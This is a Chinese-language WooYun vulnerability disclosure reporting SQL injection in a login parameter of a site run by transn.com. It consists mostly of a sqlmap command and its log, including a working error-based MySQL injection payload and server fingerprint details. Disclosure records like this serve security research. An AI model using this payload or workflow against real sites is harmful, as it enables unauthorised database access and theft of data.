漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0134819
漏洞标题：传神旗下某站点SQL注射（涉及6库252表）
相关厂商：transn.com
漏洞作者： 路人甲
提交时间：2015-08-18 14:47
修复时间：2015-08-23 14:48
公开时间：2015-08-23 14:48
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-08-18： 细节已通知厂商并且等待厂商处理中
2015-08-23： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
传神旗下某站点SQL注射
详细说明：
kjds.cn
POST注入
python sqlmap.py -r 123.txt -p user_name
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150803}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'
s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:59:45
[18:59:45] [INFO] parsing HTTP request from '123.txt'
[18:59:46] [INFO] testing connection to the target URL
[18:59:46] [INFO] heuristics detected web page charset 'ascii'
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which
intersect with yours. Do you want to merge them in futher requests? [Y/n] y
[18:59:48] [INFO] testing if the target URL is stable
[18:59:49] [INFO] target URL is stable
[18:59:49] [WARNING] heuristic (basic) test shows that POST parameter 'user_name' might not be injectable
[18:59:49] [INFO] heuristic (XSS) test shows that POST parameter 'user_name' might be vulnerable to XSS attacks
[18:59:49] [INFO] testing for SQL injection on POST parameter 'user_name'
[18:59:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:59:53] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[18:59:53] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[18:59:54] [WARNING] reflective value(s) found and filtering out
[18:59:54] [INFO] POST parameter 'user_name' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clau
se' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values?
[Y/n] y
[18:59:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:59:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one othe
r (potential) technique found
[18:59:57] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of
query columns. Automatically extending the range for current UNION query injection technique test
[18:59:58] [INFO] target URL appears to have 29 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y
/n] y
[19:00:43] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--db
ms=mysql')
POST parameter 'user_name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 141 HTTP(s) requests:
---
Parameter: user_name (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: joincode=&sendcode=&user_name=admin') AND (SELECT 9789 FROM(SELECT COUNT(*),CONCAT(0x716b717671,(SELECT (EL
T(9789=9789,1))),0x716a6b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('oOWl'='oOWl&
password=111111
---
[19:00:47] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.17
back-end DBMS: MySQL 5.0
[19:00:47] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 4 times
[19:00:47] [INFO] fetched data logged to text files under
[*] shutting down at 19:00:47
</code>
漏洞证明：
修复方案：
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2015-08-23 14:48
厂商回复：
漏洞Rank：4 (WooYun评价)
最新状态：
暂无